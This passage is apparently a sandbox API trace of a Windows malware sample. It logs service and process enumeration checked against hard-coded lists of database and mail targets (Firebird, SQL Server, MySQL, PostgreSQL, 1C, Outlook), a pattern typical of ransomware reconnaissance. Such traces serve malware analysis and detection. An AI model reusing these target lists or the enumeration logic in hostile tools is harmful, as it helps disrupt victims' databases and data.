0x60eb98 [0060.965] EnumServicesStatusExW (in: hSCManager=0x590050, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x60eb98, cbBufSize=0x12c6, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x60eb98, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 1 [0060.965] CloseServiceHandle (hSCObject=0x590050) returned 1 [0060.965] lstrlenW (lpString="Appinfo") returned 7 [0060.965] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0060.965] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0060.966] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0060.966] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0060.966] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0060.966] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0060.966] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0060.966] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0060.966] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0060.966] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0060.966] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0060.966] lstrlenW (lpString="AudioSrv") returned 8 [0060.966] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0060.966] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0060.966] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0060.966] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0060.966] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0060.966] lstrlenW (lpString="BFE") returned 3 [0060.966] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0060.966] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0060.966] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0060.966] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0060.966] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0060.966] lstrlenW (lpString="CryptSvc") returned 8 [0060.966] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0060.966] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0060.966] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0060.966] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0060.966] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0060.966] lstrlenW (lpString="CscService") returned 10 [0060.966] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0060.966] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0060.966] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0060.966] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0060.967] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0060.967] lstrlenW (lpString="DcomLaunch") returned 10 [0060.967] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0060.967] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0060.967] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0060.967] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0060.967] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0060.967] lstrlenW (lpString="Dhcp") returned 4 [0060.967] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0060.967] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0060.967] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0060.967] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0060.967] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0060.967] lstrlenW (lpString="Dnscache") returned 8 [0060.967] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0060.967] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0060.967] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0060.967] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0060.967] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0060.967] lstrlenW (lpString="DPS") returned 3 [0060.967] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0060.967] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0060.967] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0060.967] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0060.967] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0060.967] lstrlenW (lpString="eventlog") returned 8 [0060.967] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0060.967] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0060.967] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0060.967] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0060.967] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0060.967] lstrlenW (lpString="EventSystem") returned 11 [0060.967] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0060.968] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0060.968] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0060.968] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0060.968] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0060.968] lstrlenW (lpString="gpsvc") returned 5 [0060.968] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0060.968] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0060.968] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0060.968] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0060.968] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0060.968] lstrlenW (lpString="iphlpsvc") returned 8 [0060.968] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0060.968] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0060.968] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0060.968] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0060.968] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0060.968] lstrlenW (lpString="LanmanServer") returned 12 [0060.968] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0060.968] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0060.968] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0060.968] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0060.968] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0060.968] lstrlenW (lpString="LanmanWorkstation") returned 17 [0060.968] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0060.968] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0060.968] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0060.968] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0060.968] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0060.968] lstrlenW (lpString="lmhosts") returned 7 [0060.968] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0060.968] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0060.968] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0060.968] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0060.968] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0060.969] lstrlenW (lpString="MMCSS") returned 5 [0060.969] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0060.969] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0060.969] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0060.969] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0060.969] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0060.969] lstrlenW (lpString="MpsSvc") returned 6 [0060.969] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0060.969] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0060.969] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0060.969] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0060.969] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0060.969] lstrlenW (lpString="Netman") returned 6 [0060.969] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0060.969] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0060.969] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0060.969] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0060.969] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0060.969] lstrlenW (lpString="netprofm") returned 8 [0060.969] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0060.969] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0060.969] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0060.969] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0060.969] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0060.969] lstrlenW (lpString="NlaSvc") returned 6 [0060.969] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0060.969] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0060.969] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0060.969] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0060.969] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0060.969] lstrlenW (lpString="nsi") returned 3 [0060.969] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0060.969] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0060.970] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0060.970] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0060.970] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0060.970] lstrlenW (lpString="PcaSvc") returned 6 [0060.970] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0060.970] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0060.970] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0060.970] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0060.970] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0060.970] lstrlenW (lpString="PlugPlay") returned 8 [0060.970] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0060.970] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0060.970] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0060.970] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0060.970] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0060.970] lstrlenW (lpString="Power") returned 5 [0060.970] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0060.970] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0060.970] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0060.970] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0060.970] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0060.970] lstrlenW (lpString="ProfSvc") returned 7 [0060.970] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0060.970] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0060.970] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0060.970] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0060.970] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0060.970] lstrlenW (lpString="RpcEptMapper") returned 12 [0060.970] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0060.970] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0060.970] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0060.970] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0060.971] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0060.971] lstrlenW (lpString="RpcSs") returned 5 [0060.971] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0060.971] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0060.971] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0060.971] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0060.971] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0060.971] lstrlenW (lpString="SamSs") returned 5 [0060.971] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0060.971] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0060.971] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0060.971] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0060.971] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0060.971] lstrlenW (lpString="Schedule") returned 8 [0060.971] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0060.971] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0060.971] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0060.971] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0060.971] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0060.971] lstrlenW (lpString="SENS") returned 4 [0060.971] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0060.971] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0060.971] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0060.971] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0060.971] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0060.971] lstrlenW (lpString="ShellHWDetection") returned 16 [0060.971] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0060.971] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0060.971] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0060.971] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0060.971] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0060.971] lstrlenW (lpString="Spooler") returned 7 [0060.972] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0060.972] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0060.972] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0060.972] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0060.972] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0060.972] lstrlenW (lpString="swprv") returned 5 [0060.972] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0060.972] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0060.972] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0060.972] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0060.972] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0060.972] lstrlenW (lpString="SysMain") returned 7 [0060.972] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0060.972] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0060.972] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0060.972] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0060.972] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0060.972] lstrlenW (lpString="Themes") returned 6 [0060.972] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0060.972] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0060.972] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0060.973] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0060.973] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0060.973] lstrlenW (lpString="TrkWks") returned 6 [0060.973] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0060.973] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0060.973] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0060.973] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0060.973] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0060.973] lstrlenW (lpString="UxSms") returned 5 [0060.973] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0060.973] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0060.973] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0060.973] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0060.973] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0060.973] lstrlenW (lpString="VSS") returned 3 [0060.973] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0060.973] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0060.973] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0060.973] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0060.973] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0060.973] lstrlenW (lpString="WdiServiceHost") returned 14 [0060.973] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0060.973] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0060.973] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0060.973] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0060.973] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0060.973] lstrlenW (lpString="WdiSystemHost") returned 13 [0060.973] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0060.973] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0060.974] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0060.974] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0060.974] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0060.974] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0060.974] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0060.974] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0060.974] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0060.974] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0060.974] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0060.974] lstrlenW (lpString="Winmgmt") returned 7 [0060.974] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0060.974] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0060.974] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0060.974] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0060.974] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0060.974] lstrlenW (lpString="WPDBusEnum") returned 10 [0060.974] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0060.974] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0060.974] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0060.974] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0060.974] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0060.974] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x60eb98 | out: hHeap=0x510000) returned 1 [0060.974] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x204 [0060.976] Process32FirstW (in: hSnapshot=0x204, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0060.977] Process32NextW (in: hSnapshot=0x204, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0060.977] lstrlenW (lpString="System") returned 6 [0060.977] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0060.977] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0060.977] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0060.977] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0060.977] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0060.977] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0060.977] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0060.977] Process32NextW (in: hSnapshot=0x204, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0060.977] lstrlenW (lpString="smss.exe") returned 8 [0060.977] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0060.977] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0060.977] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0060.977] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0060.977] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0060.977] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0060.977] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0060.978] Process32NextW (in: hSnapshot=0x204, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0060.978] lstrlenW (lpString="csrss.exe") returned 9 [0060.978] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0060.978] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0060.978] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0060.978] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0060.978] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0060.978] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0060.978] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0060.978] Process32NextW (in: hSnapshot=0x204, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0060.978] lstrlenW (lpString="wininit.exe") returned 11 [0060.978] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0060.978] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0060.978] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0060.979] Process32NextW (in: hSnapshot=0x204, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0060.979] lstrlenW (lpString="csrss.exe") returned 9 [0060.979] Process32NextW (in: hSnapshot=0x204, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0060.979] lstrlenW (lpString="winlogon.exe") returned 12 [0060.979] Process32NextW (in: hSnapshot=0x204, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0060.980] lstrlenW 